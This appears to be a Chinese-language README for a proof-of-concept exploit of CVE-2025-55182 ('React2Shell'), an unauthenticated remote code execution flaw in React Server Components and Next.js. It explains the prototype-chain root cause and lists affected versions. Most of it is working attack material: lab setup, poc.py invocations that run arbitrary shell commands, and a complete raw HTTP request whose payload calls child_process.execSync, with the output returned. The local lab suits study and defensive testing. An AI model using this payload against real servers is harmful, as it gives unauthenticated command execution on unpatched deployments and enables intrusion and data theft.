
CVE-2025-55182 — React2Shell
CVE-2025-55182("React2Shell")是 React Server Components 的 Flight 协议反序列化器中存在的 CVSS 10.0 无需认证的 RCE 漏洞。
React 的 Flight 协议客户端中的 reviveModel 函数未使用 hasOwnProperty 验证对象键,因此攻击者可以通过 __proto__ → constructor → Function constructor 的原型链执行任意 JavaScript 代码。
由于带有 Next-Action 头的 multipart POST 请求会在认证前触发反序列化,因此无需认证即可实施攻击。
| 组件 | 受影响版本 | 修复版本 |
|---|---|---|
| React | 19.0.0 – 19.2.0 | 19.2.1 |
| Next.js | ≤ 16.0.6 | 16.0.7 |
CVE-2025-55182/
├── flake.nix # Nix 开发 shell(nodejs_20, yarn, python3+requests)
├── poc.py # 漏洞利用脚本
└── target/ # 存在漏洞的 Next.js 应用
├── Containerfile # podman 构建用
├── package.json # [email protected] / [email protected]
├── next.config.ts
├── tsconfig.json
└── app/
├── layout.tsx
└── page.tsx
nix develop
podman build -t cve-2025-55182 target/
podman run -d -p 3000:3000 --name vuln cve-2025-55182
python poc.py http://localhost:3000 "id"
响应 JSON 中的 digest 字段会返回命令执行结果。
[*] Target: http://localhost:3000/
[*] Command: id
[*] Sending exploit payload...
[*] Response status: 200
[+] Command output: uid=1000(node) gid=1000(node) groups=1000(node)
# 写入文件
python poc.py http://localhost:3000 "touch /tmp/pwned"
# 在容器内确认
podman exec -it vuln sh
# => ls /tmp/pwned
podman exec -it vuln sh -c "ls /tmp" # 也可用此方式
前提是已在 localhost:8080 启动 Burp
HTTPS_PROXY=http://localhost:8080 HTTP_PROXY=http://localhost:8080 python poc.py http://localhost:3000 "id"
POST / HTTP/1.1
Host: localhost:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
Content-Length: 580
Content-Type: multipart/form-data; boundary=19a7dba25a68483f4234c90a07a425a2
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="0"
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync(\"touch /tmp/pwand\",{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="1"
"$@0"
--19a7dba25a68483f4234c90a07a425a2--
podman stop vuln && podman rm vuln